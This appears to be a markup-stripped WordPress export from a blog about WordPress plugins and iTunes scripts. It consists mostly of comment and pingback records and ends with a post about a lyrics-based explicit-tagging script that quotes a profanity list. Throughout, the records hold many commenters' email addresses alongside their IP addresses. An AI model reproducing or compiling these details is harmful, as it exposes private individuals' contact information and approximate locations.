http://www.exwebjunkie.com/2007/02/19/gallery2-g2-widget-support/ 88.198.25.116 2007-02-19 05:09:13 2007-02-19 11:09:13 1 pingback 0 0 199 http://www.exwebjunkie.com/2007/02/19/getting-bumpzee-sidebar-widget-to-work/ 88.198.25.116 2007-02-19 05:32:44 2007-02-19 11:32:44 1 pingback 0 0 127 boogher@comcast.net http://www.boogher.com 69.245.42.23 2007-01-25 15:33:17 2007-01-25 21:33:17 1 0 0 134 http://www.theagcompany.com/blog/2007/01/26/my-top-15-wordpress-plugins/ 208.97.171.26 2007-01-26 17:35:56 2007-01-26 23:35:56 1 pingback 0 0 175 berrybrit@gmail.com http://thebritgirl.com 69.156.151.234 2007-02-12 21:55:19 2007-02-13 03:55:19 1 0 0 172 http://www.telmina.com/2007/02/12/17/ 210.172.108.233 2007-02-12 06:41:34 2007-02-12 12:41:34 1 pingback 0 0 151 gadgets_expose@yahoo.com http://www.gadgetsexpose.com 125.164.99.99 2007-02-01 13:37:32 2007-02-01 19:37:32 1 pingback 0 0 165 http://webgrrrl.net/archives/38 205.234.216.91 2007-02-07 10:44:54 2007-02-07 16:44:54 1 pingback 0 0 145 http://www.palewire.com/?p=42 64.111.114.15 2007-01-28 18:21:17 2007-01-29 00:21:17 1 pingback 0 0 263 http://www.fuzzyfuture.com/uncategorized/top-15-wordpress-plugins/ 216.118.97.240 2007-03-05 01:10:06 2007-03-05 07:10:06 1 pingback 0 0 314 elaine@elainevigneault.com http://www.elainevigneault.com 66.108.158.136 2007-03-15 22:17:46 2007-03-16 03:17:46 1 0 0 258 http://www.plugbr.net/2007/03/03/como-instalar-o-top-commentators-em-blogs-que-usam-widgets/ 208.113.149.7 2007-03-03 15:13:18 2007-03-03 21:13:18 1 pingback 0 0 471 http://www.stalkked.com/2007/04/06/15-indispensabili-plugins-di-wordpress/ 212.239.26.161 2007-04-06 13:11:32 2007-04-06 18:11:32 1 pingback 0 0 231 http://www.prepare2respond.com/2007/16/base-openads-setup-complete/ 10.6.190.13 2007-02-26 16:34:37 2007-02-26 22:34:37 1 pingback 0 0 232 http://wp.dembowski.net/2007/02/26/rss-feed-and-tarski-links-widget/ 64.74.153.175 2007-02-26 19:54:20 2007-02-27 01:54:20 1 pingback 0 0 229 http://www.hatethegrind.com/2007/02/26/extending-wordpress-with-plugins/ 66.196.34.84 2007-02-26 11:44:03 2007-02-26 17:44:03 1 pingback 0 0 421 kunal.nanda@gmail.com http://www.kunalnanda.com/myblog 211.28.240.87 2007-03-31 02:37:16 2007-03-31 07:37:16 1 0 0 323 http://www.benh.org/techblog/2007/03/extending-wordpress-plugins-used/ 72.29.83.6 2007-03-17 22:20:50 2007-03-18 03:20:50 1 pingback 0 0 277 kyiboy@hotmail.com http://blog.vasukikasturi.com 24.6.102.131 2007-03-07 21:59:24 2007-03-08 03:59:24 1 0 0 553 http://www.idratherbewriting.com/2007/04/17/wordpress-plugins-add-cool-functionality-to-your-blog/ 69.89.22.124 2007-04-17 02:25:22 2007-04-17 07:25:22 1 pingback 0 0 291 http://tekapo.com/st/2007/03/10/executable-php-widget/ 208.97.167.23 2007-03-10 07:39:37 2007-03-10 13:39:37 1 pingback 0 0 571 http://lifelearningtoday.com/2007/04/17/how-to-install-and-use-wordpress-plugins/ 216.246.32.99 2007-04-19 12:26:44 2007-04-19 17:26:44 1 pingback 0 0 373 danielperaza@gmail.com http://www.danielperaza.com 201.211.136.163 2007-03-24 20:09:52 2007-03-25 01:09:52 1 0 0 766 http://www.thafaker.de/2007/05/18/dinge-die-man-uber-wordpress-22-upgrade-wissen-sollte/ 212.227.109.136 2007-05-18 04:18:47 2007-05-18 09:18:47 1 pingback 0 0 692 agentsully@lifelearningtoday.com http://lifelearningtoday.com 76.2.115.98 2007-05-11 18:31:27 2007-05-11 23:31:27 1 0 0 693 agentsully@lifelearningtoday.com http://lifelearningtoday.com 76.2.115.98 2007-05-11 18:33:16 2007-05-11 23:33:16 1 0 0 694 agentsully@lifelearningtoday.com http://lifelearningtoday.com 76.2.115.98 2007-05-11 18:34:24 2007-05-11 23:34:24 1 0 0 352 jawestfall@gmail.com http://iloveteh.biz/ 69.172.130.25 2007-03-22 22:59:31 2007-03-23 03:59:31 1 0 0 353 otto@ottodestruct.com http:// 75.64.210.176 2007-03-23 00:52:43 2007-03-23 05:52:43 1 0 1 517 the-musicinmyhead@hotmail.com http://www.becca.misstuned.com 75.88.49.149 2007-04-11 22:39:44 2007-04-12 03:39:44 1 0 0 577 http://lifelearningtoday.com/2007/04/20/18-really-useful-wordpress-plugins/ 216.246.32.99 2007-04-20 11:29:09 2007-04-20 16:29:09 1 pingback 0 0 737 alesrarus@funkydung.com http://alesrarus.funkydung.com 136.142.54.60 2007-05-16 15:31:37 2007-05-16 20:31:37 1 0 0 738 alesrarus@funkydung.com http://alesrarus.funkydung.com 136.142.54.60 2007-05-16 15:41:44 2007-05-16 20:41:44 1 0 0 739 elarequi@telefonica.net http://www.labitacoradeltigre.com 80.35.14.18 2007-05-16 16:35:44 2007-05-16 21:35:44 1 0 0 741 http://lbnuke.com/2007/05/16/wordpress-22/ 72.52.145.77 2007-05-16 17:41:49 2007-05-16 22:41:49 1 pingback 0 0 743 alesrarus@funkydung.com http://alesrarus.funkydung.com 136.142.54.60 2007-05-16 19:41:22 2007-05-17 00:41:22 1 0 0 753 http://www.minthegap.com/2007/05/17/upgrading-and-why-you-need-a-database-backup/ 64.187.108.251 2007-05-17 07:01:56 2007-05-17 12:01:56 1 pingback 0 0 756 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-05-17 09:05:12 2007-05-17 14:05:12 widgets.php. Replace your /wp-includes/widgets.php with this file. Problem solved for the moment. I'll have a fix to the widget itself that should allow it to work with anything sometime tonight.]]> 1 0 1 648 agentsully@lifelearningtoday.com http://www.lifelearningtoday.com 76.2.113.179 2007-05-06 22:27:17 2007-05-07 03:27:17 1 0 0 629 http://blog.mayyan.net/2007/05/02/wordpress-plugins/ 216.246.62.105 2007-05-02 10:08:15 2007-05-02 15:08:15 1 pingback 0 0 609 damartin@pdq.net 24.167.25.8 2007-04-28 01:11:28 2007-04-28 06:11:28 1 0 0 610 otto@ottodestruct.com http://ottodestruct.com 75.64.210.176 2007-04-28 09:23:53 2007-04-28 14:23:53 1 0 1 713 http://blog-op.com/using-the-executable-php-widget/ 216.246.62.105 2007-05-13 19:17:14 2007-05-14 00:17:14 1 pingback 0 0 885 marc@cranialcavity.net http://fullthrottle.cranialcavity.net/ 124.104.206.138 2007-06-03 03:03:58 2007-06-03 08:03:58 1 0 0 701 http://www.puntofape.com/mis-plugins-preferidos-para-wordpress-segunda-parte-28/ 209.172.34.113 2007-05-12 06:10:55 2007-05-12 11:10:55 1 pingback 0 0 772 http://blogagloco.com/2007/05/18/updates-upgrades-and-miscellaneous-escapades/ 64.72.112.19 2007-05-18 17:11:41 2007-05-18 22:11:41 1 pingback 0 0 773 anthabax@gmail.com 124.82.12.81 2007-05-18 22:22:53 2007-05-19 03:22:53 1 0 0 780 http://www.wp-plugins-db.org/plugin/executable-php-widget/ 64.13.192.48 2007-05-20 02:58:40 2007-05-20 07:58:40 1 pingback 0 0 784 http://www.emonetized.com/11/best-wordpress-plugins/ 204.11.53.20 2007-05-20 11:16:55 2007-05-20 16:16:55 1 pingback 0 0 787 http://dancameron.org/general/1887 64.79.208.2 2007-05-20 23:36:06 2007-05-21 04:36:06 1 pingback 0 0 1081 http://lexhair.wordpress.com/2007/06/23/show-top-commentators/ 72.233.2.29 2007-06-23 17:31:20 2007-06-23 22:31:20 1 pingback 0 0 877 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-06-01 09:14:27 2007-06-01 14:14:27 1 0 1 1074 http://www.theagcompany.com/blog/2007/06/22/221-is-a-go/ 208.97.171.26 2007-06-22 19:52:04 2007-06-23 00:52:04 1 pingback 0 0 813 http://blog.leichenwald.de/2007/05/25/executable-php-widget-bugfix-in-wp-22/ 212.227.109.151 2007-05-25 10:04:07 2007-05-25 15:04:07 1 pingback 0 0 870 stevenwolf56@gmail.com http://stevenwolf.com/ 68.202.84.60 2007-05-31 21:57:59 2007-06-01 02:57:59 1 0 0 839 http://gregtyree.com/2007/05/28/issue-with-php-exec-in-22/ 205.196.210.15 2007-05-28 11:10:11 2007-05-28 16:10:11 1 pingback 0 0 889 chutney@makingchutney.com http://www.makingchutney.com 24.99.110.12 2007-06-03 13:59:56 2007-06-03 18:59:56 Parse error: syntax error, unexpected T_STRING in /home/.dino/chutney/makingchutney.com/wp-content/plugins/execphp.php(24) : eval()'d code on line 1]]> 1 0 0 1052 http://www.onebyonemedia.com/btwwordpress-221-released/ 209.59.164.74 2007-06-22 00:51:22 2007-06-22 05:51:22 1 pingback 0 0 893 rogilvie@gmail.com 58.107.100.92 2007-06-04 07:40:15 2007-06-04 12:40:15 1 0 0 938 puffinfan@gmx.de http://www.looking-through.de 87.184.96.196 2007-06-09 16:23:15 2007-06-09 21:23:15 1 0 0 895 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-06-04 09:25:57 2007-06-04 14:25:57 1 0 1 1183 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-06-28 12:20:55 2007-06-28 17:20:55 1 0 1 1185 brucekeener@gmail.com http://www.dkeener.com/keenstuff/blog/ 74.232.183.48 2007-06-28 13:56:50 2007-06-28 18:56:50 Recent Posts "> Strange. The widgets file is showing a permission of 644. I know I am doing something wrong somewhere but just don't know what. Any suggestions? By the way, I get an odd "you cannot write to such and such directory" for some other admin items,too. Not a pattern. There must be a permission screwed up somewhere along the way. Thanks, Bruce]]> 1 0 0 1021 http://blog.nafurai.com/2007/06/busy-day-aka-get-info-from-your-users-in-php/ 208.113.171.11 2007-06-20 11:20:41 2007-06-20 16:20:41 1 pingback 0 0 924 http://www.2803.com/2007/06/08/wordpress-jai-fini-de-migrer/ 64.15.147.71 2007-06-08 02:37:44 2007-06-08 07:37:44 1 pingback 0 0 925 ozervarlik@gmail.com http://www.ozervarlik.com 88.226.199.201 2007-06-08 07:48:00 2007-06-08 12:48:00 1 0 0 1152 schalk@beaumont.co.za http://www.beaumont.co.za 198.54.202.214 2007-06-26 14:09:11 2007-06-26 19:09:11 1 0 0 1153 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-06-26 14:24:59 2007-06-26 19:24:59 1 0 1 1181 brucekeener@gmail.com http://www.dkeener.com/keenstuff/blog/ 74.232.183.48 2007-06-28 11:46:25 2007-06-28 16:46:25 1 0 0 962 http://blog.snese.net/archives/200706160.html 210.60.184.14 2007-06-15 02:44:04 2007-06-15 07:44:04 1 pingback 0 0 921 http://www.pixelwit.com/blog/2007/06/07/wordpress-plugin-recommendation-june/ 69.89.21.73 2007-06-07 13:56:14 2007-06-07 18:56:14 1 pingback 0 0 1168 http://www.rodtempleton.net/2007/06/27/exec-php-widget-seems-to-break-under-wp-221/ 64.251.82.21 2007-06-27 12:34:56 2007-06-27 17:34:56 1 pingback 0 0 1207 http://www.wpdesigner.com/2007/07/01/small-potato-plugins-list/ 66.196.47.52 2007-07-01 03:01:09 2007-07-01 08:01:09 1 pingback 0 0 1163 http://www.theagcompany.com/blog/2007/06/27/expanding-the-air-part-ii/ 208.97.171.26 2007-06-27 08:10:38 2007-06-27 13:10:38 1 pingback 0 0 2968 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2007-10-01 00:09:28 2007-10-01 05:09:28 1 0 1 2348 http://www.scratch99.com/2007/09/google-adsense-i-got-my-21-cents/ 74.53.110.146 2007-09-29 03:28:29 2007-09-29 08:28:29 1 pingback 0 0 4560 http://www.randomthreads.com/?p=376 208.113.217.147 2007-12-27 12:12:23 2007-12-27 17:12:23 1 pingback 0 0 1971 http://uucode.com/blog/2007/09/28/casting-wpads-to-a-widget/ 67.59.156.175 2007-09-27 23:40:40 2007-09-28 04:40:40 1 pingback 0 0 1464 vaprak@hotmail.com http://thecriticalcritics.com 71.225.148.138 2007-08-04 15:13:51 2007-08-04 20:13:51 1 0 0 4601 aliceranderson@yahoo.com 76.20.201.56 2008-01-03 09:39:00 2008-01-03 14:39:00 1 0 0 4603 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2008-01-03 10:18:38 2008-01-03 15:18:38 1 0 1 1601 http://fadingwhispers.org/home/2007/08/17/watching-the-number-23-and-plugins-galore/ 66.84.44.127 2007-08-16 23:26:57 2007-08-17 04:26:57 1 pingback 0 0 1303 http://www.vidadigital.net/blog/2007/07/14/formas-de-incluir-cdigo-php-mediante-widgets-en-blogs-de-wordpress/ 67.43.1.186 2007-07-14 06:57:59 2007-07-14 11:57:59 1 pingback 0 0 1911 http://apollinaireonline.com/wordpress-23-pastreaza-ti-tema-dupa-upgrade/ 74.220.207.96 2007-09-18 00:07:11 2007-09-18 05:07:11 1 pingback 0 0 1903 http://richgilchrest.com/how-to-add-wordpress-23-tags-to-your-current-theme/ 69.89.27.229 2007-09-15 15:13:34 2007-09-15 20:13:34 1 pingback 0 0 1904 imahst@gmx.de 84.142.155.43 2007-09-15 21:25:05 2007-09-16 02:25:05 1 0 0 1802 http://blog.flashvacuum.com/?p=10 67.15.158.167 2007-09-01 11:44:54 2007-09-01 16:44:54 1 pingback 0 0 1791 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-08-31 11:31:59 2007-08-31 16:31:59 1 0 1 1792 steve@myresumemanager.com http://www.myresumemanager.com 74.110.93.35 2007-08-31 13:33:24 2007-08-31 18:33:24 1 0 0 1790 heri@madmedia.ca http://montrealtechwatch.com 70.53.152.48 2007-08-31 11:17:41 2007-08-31 16:17:41 1 0 0 1786 http://www.kristarella.com/blog/2007/08/drop-down-links-for-wordpress/ 199.1.92.207 2007-08-31 00:31:18 2007-08-31 05:31:18 1 pingback 0 0 4595 http://animediet.net/archives/3058 217.160.230.143 2007-12-31 20:14:05 2008-01-01 01:14:05 1 pingback 0 0 1311 http://wp.tekapo.com/2007/03/10/executable-php-widget/ 208.97.167.23 2007-07-16 01:39:04 2007-07-16 06:39:04 1 pingback 0 0 1777 http://www.theashish.com/blogging/best-worpress-plugins-to-get-you-started.html 64.38.58.234 2007-08-29 21:35:49 2007-08-30 02:35:49 Best wordpress plugins to get you started... This is the first post of a 3 series post i promised you. This post will help you to get started with publishing your own blog within few seconds. So, it looks that you are interested in setting up your blog. This post is the written description of the...]]> 1 trackback 0 0 1779 http://lostcheese.teacherarnold.com/blog/?p=51 69.89.31.81 2007-08-29 23:38:41 2007-08-30 04:38:41 1 pingback 0 0 1662 http://www.blomig.com/2007/08/21/rs-event-un-plugin-pour-annoncer-les-prochains-articles/ 208.97.183.20 2007-08-21 01:02:27 2007-08-21 06:02:27 1 pingback 0 0 1352 http://www.kristarella.com/blog/2007/07/related-or-similar-posts/ 199.1.92.207 2007-07-24 19:46:50 2007-07-25 00:46:50 1 pingback 0 0 1375 http://www.netmarketingchaos.com/how-tos/tracking-opt-ins-with-wordpress-and-aweber.html 205.234.103.231 2007-07-28 14:30:13 2007-07-28 19:30:13 1 pingback 0 0 4294 brianandbrooke@usversustheworld.com 74.134.13.114 2007-12-16 13:18:42 2007-12-16 18:18:42 1 0 0 1501 admin@hopefulspirit.com http://www.hopefulspirit 67.181.63.245 2007-08-08 01:08:13 2007-08-08 06:08:13 1 0 0 2769 michel.fortin@gmail.com http://www.SuccessDoctor.com/ 74.101.119.179 2007-09-30 17:50:55 2007-09-30 22:50:55 1 0 0 1400 http://www.tylercruz.com/blog-updates-3/ 69.93.63.130 2007-07-31 01:09:05 2007-07-31 06:09:05 1 pingback 0 0 1752 http://guy.pastre.eu/2007/08/27/wordpress-22-les-plugins-que-jutilisepour-le-moment/ 213.251.189.203 2007-08-27 17:09:52 2007-08-27 22:09:52 1 pingback 0 0 3661 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2007-11-12 00:43:23 2007-11-12 05:43:23 1 0 1 1959 fishophile@yahoo.com http://custardsurgery.com/azerbaijan 195.58.94.172 2007-09-25 17:54:02 2007-09-25 22:54:02 1 0 0 1944 http://www.phoenixrealestateguy.com/playing-with-plugins/484 64.202.165.133 2007-09-23 16:11:52 2007-09-23 21:11:52 1 pingback 0 0 1652 http://www.scratch99.com/2007/08/wordpress-most-viewed-sidebar-widget/ 74.53.110.146 2007-08-20 10:37:35 2007-08-20 15:37:35 1 pingback 0 0 1825 http://www.problogdesign.com/quick-tweaks/why-your-sidebar-plugins-dont-work/ 64.13.232.37 2007-09-03 05:07:03 2007-09-03 10:07:03 1 pingback 0 0 4583 http://blog.baigoo.info/wordpress-themes-tags 74.220.202.46 2007-12-29 10:32:21 2007-12-29 15:32:21 1 pingback 0 0 1328 http://www.bookmarkbliss.com/blogging/top-15-wordpress-plugins/ 216.118.97.240 2007-07-19 03:19:45 2007-07-19 08:19:45 1 pingback 0 0 1731 http://www.hatmoney.com/wordpress-221-available-for-download/ 208.113.189.13 2007-08-25 21:06:16 2007-08-26 02:06:16 1 pingback 0 0 1639 http://sandkasten.patje.de/2007/plugins-in-webby-blue/9 80.67.17.12 2007-08-19 16:33:05 2007-08-19 21:33:05 1 pingback 0 0 1872 erkanba@gmal.com http://www.tembelkedi.com 88.254.226.125 2007-09-09 07:30:41 2007-09-09 12:30:41 1 0 0 1873 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2007-09-09 19:40:02 2007-09-10 00:40:02 1 0 1 1628 brunogomes76@gmail.com 83.202.54.178 2007-08-18 13:57:27 2007-08-18 18:57:27 1 0 0 1630 http://honestknowledge.com/warriorblog/must-have-wordpress-stuff/ 74.53.228.130 2007-08-18 16:28:01 2007-08-18 21:28:01 1 pingback 0 0 1719 http://www.onbezet.nl/2007/08/25/top-zoveel-wordpress-plugins/ 212.187.108.189 2007-08-25 05:14:02 2007-08-25 10:14:02 1 pingback 0 0 1884 daveecee@gmail.com http://david.sebastiancelis.com/ 66.195.118.2 2007-09-12 01:40:45 2007-09-12 06:40:45 1 0 0 1879 http://mcbsconsulting.com/44/ 69.89.22.135 2007-09-10 14:51:24 2007-09-10 19:51:24 1 pingback 0 0 1886 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-09-12 09:19:31 2007-09-12 14:19:31 1 0 1 3655 tech@chewru.com http://www.chewru.com 24.0.98.128 2007-11-10 23:16:14 2007-11-11 04:16:14 1 0 0 1958 http://www.acoenoc.com/widgetize-your-wordpress-themes-for-easy-insertion-of-ads/ 74.220.207.149 2007-09-25 12:29:49 2007-09-25 17:29:49 1 pingback 0 0 4098 http://blozanga.wordpress.com/2007/12/05/plugin-weekly-051207/ 66.135.48.142 2007-12-05 06:28:58 2007-12-05 11:28:58 1 pingback 0 0 4307 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2007-12-17 04:14:03 2007-12-17 09:14:03 1 0 1 4565 ingejanse@gmail.com http://www.eclectro.nl 86.80.162.193 2007-12-27 15:22:00 2007-12-27 20:22:00 1 0 0 3494 michaelsmolka@mac.com 84.152.197.65 2007-10-12 15:23:12 2007-10-12 20:23:12 1 0 0 3599 http://www.fablefish.net/wordpress/internet/2007/essential-plugins-for-your-blog-part4-misc/ 209.85.105.3 2007-11-02 10:27:26 2007-11-02 15:27:26 1 pingback 0 0 4618 http://www.blogzenith.com/2008/01/07/show-comment-love/ 69.89.27.223 2008-01-07 10:31:15 2008-01-07 15:31:15 1 pingback 0 0 6382 aftab@yahoo.com http://virtual-help.org 203.124.56.71 2008-11-02 12:01:07 2008-11-02 18:01:07 1 0 0 4621 ouranos2@yahoo.fr 82.238.37.106 2008-01-08 16:20:36 2008-01-08 21:20:36 1 0 0 3465 http://donovanpalmer.com/2007/10/05/my-top-ten-wordpress-plugins/ 70.84.158.164 2007-10-05 01:24:04 2007-10-05 06:24:04 1 pingback 0 0 3693 http://www.adhit.cn/wp/2007/03/17/extending-wordpress-plugins-used/ 205.209.126.158 2007-11-13 06:34:22 2007-11-13 11:34:22 1 pingback 0 0 4087 http://www.stalkked.com/2007/12/03/wordpress-world-100-wordpress-plugins-articles-and-resources/ 212.239.26.161 2007-12-03 11:42:07 2007-12-03 16:42:07 1 pingback 0 0 3646 james@apollosem.org http://www.apollosem.org 75.167.168.87 2007-11-09 11:59:17 2007-11-09 16:59:17 1 0 0 3713 http://blog.timberlinedealerships.com/2007/09/17/how-to-use-wordpress-23-built-in-tags/ 65.121.87.254 2007-11-16 17:36:06 2007-11-16 22:36:06 1 pingback 0 0 3640 http://onemansblog.com/2007/11/08/complete-list-of-omb-wordpress-plugins/ 74.208.9.138 2007-11-08 01:11:36 2007-11-08 06:11:36 1 pingback 0 0 3439 http://www.wehuberconsultingllc.com/wordpress/?p=605 69.89.30.142 2007-10-01 15:50:53 2007-10-01 20:50:53 1 pingback 0 0 4710 http://www.wordpressplugin.org/?p=476 74.86.53.72 2008-01-22 11:53:37 2008-01-22 16:53:37 1 pingback 0 0 3473 http://weblog.karnaya.de/2007/10/07/das-wort-zum-sonntag/ 85.214.114.130 2007-10-06 18:41:08 2007-10-06 23:41:08 1 pingback 0 0 3475 http://ibluelion.wordpress.com/2007/10/08/links-for-2007-10-07/ 66.135.48.187 2007-10-07 11:22:49 2007-10-07 16:22:49 1 pingback 0 0 3476 http://www.acoenoc.com/multi-line-adrotator-for-wordpress/ 74.220.207.149 2007-10-07 13:37:48 2007-10-07 18:37:48 1 pingback 0 0 4536 DO_NOT_SPAM_ME_2003@YAHOO.COM 75.8.27.126 2007-12-26 18:21:35 2007-12-26 23:21:35 1 0 0 4269 http://entity11.com/random-post-with-image-on-sidebar/ 77.78.110.46 2007-12-15 06:38:31 2007-12-15 11:38:31 1 pingback 0 0 3479 http://bluelion.uni.cc/posts/2007/m10/links-for-2007-10-07.html 66.33.197.128 2007-10-08 12:04:28 2007-10-08 17:04:28 1 pingback 0 0 4036 http://www.digitalthom.com/2007/11/23/wordpress-plug-ins-i-use-and-why/ 64.202.165.133 2007-11-23 22:21:45 2007-11-24 03:21:45 1 pingback 0 0 3633 http://joshdockery.com/2007/11/07/finally-transferred-over/ 69.89.31.148 2007-11-07 15:11:30 2007-11-07 20:11:30 1 pingback 0 0 3486 http://www.daikos.net/2007/10/10/daikos-text-widget-micro-update/ 194.216.112.124 2007-10-10 10:49:44 2007-10-10 15:49:44 1 pingback 0 0 3507 http://blomberg.it/wordpress/execphp-widget-pa-dansk/ 81.7.131.102 2007-10-16 10:03:33 2007-10-16 15:03:33 1 pingback 0 0 4059 http://www.internetmoneytechniques.com/executable-php-widget/ 85.17.145.54 2007-11-28 09:30:15 2007-11-28 14:30:15 1 pingback 0 0 4718 http://www.scratch99.com/2008/01/shylock-adsense-plugin-hack-to-avoid-adsense-smart-pricing/ 74.53.110.146 2008-01-23 11:17:34 2008-01-23 16:17:34 1 pingback 0 0 4104 faizirizal@gmail.com http://s25.biz 121.120.175.54 2007-12-05 18:29:35 2007-12-05 23:29:35 1 0 0 4241 http://www.barefly.com/2007/10/25/making-money-online-newbie-facts-and-figures-part-4/ 208.66.72.18 2007-12-14 00:41:24 2007-12-14 05:41:24 1 pingback 0 0 4735 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-02-09 18:30:14 2008-02-10 00:30:14 1 0 1 4734 steve@muttdog.us http://www.thecosmeticcounter.com 72.47.150.181 2008-02-09 17:46:24 2008-02-09 23:46:24 1 0 0 4740 http://wp.dembowski.net/2008/02/16/movable-type-to-wordpress/ 24.46.186.255 2008-02-16 22:26:20 2008-02-17 04:26:20 1 pingback 0 0 4722 http://www.spontaneousderivation.com/2008/01/27/moving-from-beta-blogger-to-a-self-hosted-wordpress-for-first-timers-part-3-plugins-and-little-things/ 66.241.145.14 2008-01-27 22:08:43 2008-01-28 04:08:43 1 pingback 0 0 4743 http://www.wehuberconsultingllc.com/wordpress3/?p=1 69.89.30.142 2008-02-21 09:37:06 2008-02-21 15:37:06 1 pingback 0 0 3488 http://www.acoenoc.com/acoenoccoms-list-of-wordpress-plug-ins-and-widgets/ 74.220.207.149 2007-10-10 20:50:07 2007-10-11 01:50:07 1 pingback 0 0 4728 gary.storm@gmail.com http://www.mandyleigh.com 220.233.204.87 2008-02-06 06:06:17 2008-02-06 12:06:17 1 0 0 3448 http://www.mr-endoh.com/blogosphere/kiss-wordpress-database-error-goodbye/ 208.113.204.25 2007-10-02 13:57:38 2007-10-02 18:57:38 1 pingback 0 0 4770 trevornk@gmail.com http://trevornashkeller.com 208.107.58.56 2008-03-12 11:26:51 2008-03-12 16:26:51 1 0 0 4774 yannie_tssss@yahoo.com http://www.letrodectus.te.ua 91.124.70.82 2008-03-17 10:30:51 2008-03-17 15:30:51 1 0 0 4776 info@absolut-design.net http://www.absolut-desing.net/blog 217.133.4.177 2008-03-19 05:14:29 2008-03-19 10:14:29 1 0 0 4777 http://www.businessattitude.fr/2008/03/19/les-plugins-wordpress-que-vous-devez-avoir/ 213.251.189.203 2008-03-19 16:30:26 2008-03-19 21:30:26 1 pingback 0 0 4778 http://endless-sonata.net/tutorials/creating-multiple-widget-sidebars/ 65.38.67.2 2008-03-19 17:50:01 2008-03-19 22:50:01 1 pingback 0 0 4787 http://www.stcfx.com/2008/03/23/wordpress-25-broken-plugins/ 74.53.26.178 2008-03-23 14:34:29 2008-03-23 19:34:29 1 pingback 0 0 4789 admin@dreamlinestudio.com http://dreamlinestudio.com/blog 76.176.99.153 2008-03-24 06:05:28 2008-03-24 11:05:28 1 0 0 4920 http://www.scanx.fr/2008/03/30/mise-en-place-des-conseils-de-john-chow 213.251.189.203 2008-03-30 11:48:10 2008-03-30 16:48:10 1 pingback 0 0 5809 spamfilter01@hikarinet.info http://hikarinet.info 201.58.40.86 2008-04-19 14:28:11 2008-04-19 19:28:11 1 0 0 5753 http://www.stephanmiller.com/a-one-hour-blog-renovation/ 72.232.206.154 2008-04-05 18:19:09 2008-04-05 23:19:09 1 pingback 0 0 5202 http://www.couponcruncher.com/2008/04/01/shylock-adsense-plugin-hack-to-avoid-smart-pricing/ 208.113.194.5 2008-04-01 03:36:09 2008-04-01 08:36:09 1 pingback 0 0 5781 http://blog.popdo.net/2008/04/17/wordpress-2x-plugins-show-top-commentators/ 74.53.24.242 2008-04-17 08:12:08 2008-04-17 13:12:08 1 pingback 0 0 5831 hellows@o2.pl 217.171.129.75 2008-05-05 11:14:01 2008-05-05 16:14:01 1 0 0 6006 nockzee_noniek@hotmail.com http://omygod.info 202.81.54.120 2008-07-19 08:52:58 2008-07-19 13:52:58 1 0 0 6339 mark@sinkingcities.com http://sinkingcities.com 76.172.106.88 2008-10-21 15:43:49 2008-10-21 20:43:49 1 0 0 5987 atouchofmelancholy@gmail.com http://atouchofmelancholy.com/blog 122.53.47.93 2008-07-09 13:38:23 2008-07-09 18:38:23 1 0 0 6118 robg@griffsweb.com http://www.robservatory.com 71.117.221.161 2007-01-05 13:22:16 2007-01-05 18:22:16
    -rob.]]>
    1 0 0
    6119 robg@griffsweb.com http://www.robservatory.com 71.117.221.161 2007-01-05 13:26:20 2007-01-05 18:26:20
    -rob.]]>
    1 0 0
    6116 johnchow@johnchow.com http://www.JohnChow.com 24.83.120.200 2006-11-29 16:51:59 2006-11-29 21:51:59 1 0 0 6117 ezs@evilzenscientist.com http://www.evilzenscientist.com 64.105.231.234 2006-12-01 13:13:01 2006-12-01 18:13:01 1 0 0
    iTunes Explicit Lyrics tagging http://ottodestruct.com/blog/2006/itunes-explicit-lyrics-tagging/ Tue, 11 Apr 2006 08:40:18 +0000 http://ottodestruct.com/blog/2006/04/11/itunes-explicit-lyrics-tagging/ Over in the comments of my EvilLyrics post, somebody asked for this script. It seems like people might find it handy, so here you go: explicit.txt

    It will search the lyrics of all the songs in iTunes for “bad words” and flag those tracks as Explicit by adding the word “Explicit” to the end of the comments in the track.

    Now, I have no use for this personally, but I can see where some people might. One thing you will have to do in order to use it is to edit it and define what you consider to be a “bad word”. Just after halfway through the script, there’s a section that looks like this:

    badword1|badword2|badword3

    Change that to define everything you consider to be a bad word. To use George Carlin’s famous example: shit|piss|fuck|cunt|cocksucker|motherfucker|tits

    Just add as many words as you like, then run it like all the rest of these iTunes Javascripts. It’s reasonably smart and won’t tag a track as Explicit if the word Explicit is already in the comments.

    You could use this for Smart Playlists, to make “clean” playlists, or to make “not so clean” playlists. Whatever you like. You could do that without this script too, but this makes it a bit easier.

    ]]>
    31 2006-04-11 02:40:18 2006-04-11 08:40:18 open open itunes-explicit-lyrics-tagging publish 0 0 post 0 _utw_tags_0 a:7:{i:0;O:8:"stdClass":1:{s:3:"tag";s:8:"explicit";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"ipod";}i:2;O:8:"stdClass":1:{s:3:"tag";s:6:"itunes";}i:3;O:8:"stdClass":1:{s:3:"tag";s:10:"javascript";}i:4;O:8:"stdClass":1:{s:3:"tag";s:6:"lyrics";}i:5;O:8:"stdClass":1:{s:3:"tag";s:5:"music";}i:6;O:8:"stdClass":1:{s:3:"tag";s:14:"smart-playlist";}} _geo_location , _utw_tags_ a:7:{i:0;O:8:"stdClass":1:{s:3:"tag";s:8:"explicit";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"ipod";}i:2;O:8:"stdClass":1:{s:3:"tag";s:6:"itunes";}i:3;O:8:"stdClass":1:{s:3:"tag";s:10:"javascript";}i:4;O:8:"stdClass":1:{s:3:"tag";s:6:"lyrics";}i:5;O:8:"stdClass":1:{s:3:"tag";s:5:"music";}i:6;O:8:"stdClass":1:{s:3:"tag";s:14:"smart-playlist";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 23 Rene@gameburn.org http://gameburn.org 66.197.205.21 2006-11-28 12:44:17 2006-11-28 18:44:17 1 0 0 17 gerald@ipodbuch.de 